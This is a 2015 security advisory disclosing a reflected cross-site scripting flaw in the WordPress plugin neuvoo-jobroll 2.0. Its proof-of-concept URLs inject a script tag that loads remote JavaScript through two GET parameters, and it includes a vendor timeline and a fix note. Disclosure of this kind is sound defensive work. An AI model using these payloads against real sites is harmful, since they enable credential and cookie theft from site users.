WordPress Neuvoo-Jobroll 2.0 Cross Site Scripting
Posted on 05 November 2015
###################################################################### # Exploit Title: Wordpress plugin neuvoo-jobroll 2.0 Reflected Cross-Site Scripting (RXSS) # Date: 05/11/2015 # Author: Mickael Dorigny @ Synetis # Vendor or Software Link: http://neuvoo.fr/fr # Version: 2.0 # Category: Reflected Cross Site Scripting # Google dork: # Tested on : Wordpress with neuvoo-jobroll 2.0 ###################################################################### Neuvoo description : ====================================================================== Neuvoo is a job offers aggregator. Through a Wordpress plugin, webmasters can insert a neuvoo search page wich will permit their user to search for jobs. Each request from a Wordpress plugin neuvoo-jobroll will be forwarded to the central Neuvoo servers, then responses will be displayed into the wordpress page through the plugin. Vulnerability description : ====================================================================== A reflected XSS is available in the Wordpress Plugin "neuvoo-jobroll" version 2.0. Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Wordpress login page, or capture users Wordpress credentials such cookies. This vulnerabily is available on two GET parameters used during the request to the plugin : - neuvoo_location= - neuvoo_keywords= Tested on Firefox 41.0.2. Proof of Concept : ====================================================================== A non-persistent XSS (RXSS) in "neuvoo_keywords" and "neuvoo_location" GET parameters is present. This RXXS can be exploited only by importing another JavaScript file. Some protection don't allow the attacker to insert more than one " caractere. Tested on Firefox 41.0.2. PoC: http://<URL>/<path_to_neuvoo_plugin>/index.php?neuvoo_location=France&neuvoo_keywords="><script src=https://<a website>/xss.js>&neuvoo_page=1 http://<URL>/<path_to_neuvoo_plugin>/index.php?neuvoo_location="><script src=https://<a website>/xss.js>&neuvoo_keywords=Pentester&neuvoo_page=1 In this context, the "xss.js" file contain the following JavaScript instructions : window.onload = function(){ alert("XSS - Mickael Dorigny @MickaelDorigny - Synetis"); }; The given response will contain a part like this in its source code : <input autocomplete="off" id="neuvoo_keywords" type="text" name="neuvoo_keywords" value=""><script src=http://<a website>/xss.js>" placeholder="mots-clés, entreprise ..." tabindex="1"/> Which means that the JavaScript code is interpreted. Screenshots : ====================================================================== - https://www.information-security.fr/wp-content/uploads/2015/11/rxss-neuvoo-jobroll-plugin-08.jpg - https://www.information-security.fr/wp-content/uploads/2015/11/rxss-neuvoo-jobroll-plugin-09.jpg Solution: ====================================================================== A fix has been deployed by Neuvoo Development team. Uprade your Wordpress neuvoo-jobroll plugin for the next version. Additional resources / article : ====================================================================== - https://www.information-security.fr/rxss-plugin-wordpress-neuvoo_jobroll-2-0/ Report timeline : ====================================================================== 2015-10-27 : Informed Vendor about the issue (no reply) 2015-10-30 : Reminded vendor about vulnerability (no reply) 2015-11-02 : Vendor asked for more informations 2015-11-03 : Fix deployed 2015-11-05 : Public Advisory released Credits : ====================================================================== 88888888 88 888 88 88 888 88 88 788 Z88 88 88.888888 8888888 888888 88 8888888. 888888. 88 88 888 Z88 88 88 88 88 88 88 8888888 88 88 88 88 88 88 88 88 888 888 88 88 88 88 88888888888 88 88 888888 88 88 88 8. 88 88 88 88 88 888 888 ,88 8I88 88 88 88 88 88 88 .88 .88 ?8888888888. 888 88 88 88888888 8888 88 =88888888 888. 88 88 www.synetis.com 8888 Consulting firm in management and information security Mickael Dorigny - Security Consultant @ Synetis | Information-Security.fr -- SYNETIS CONTACT: www.synetis.com | www.information-security.fr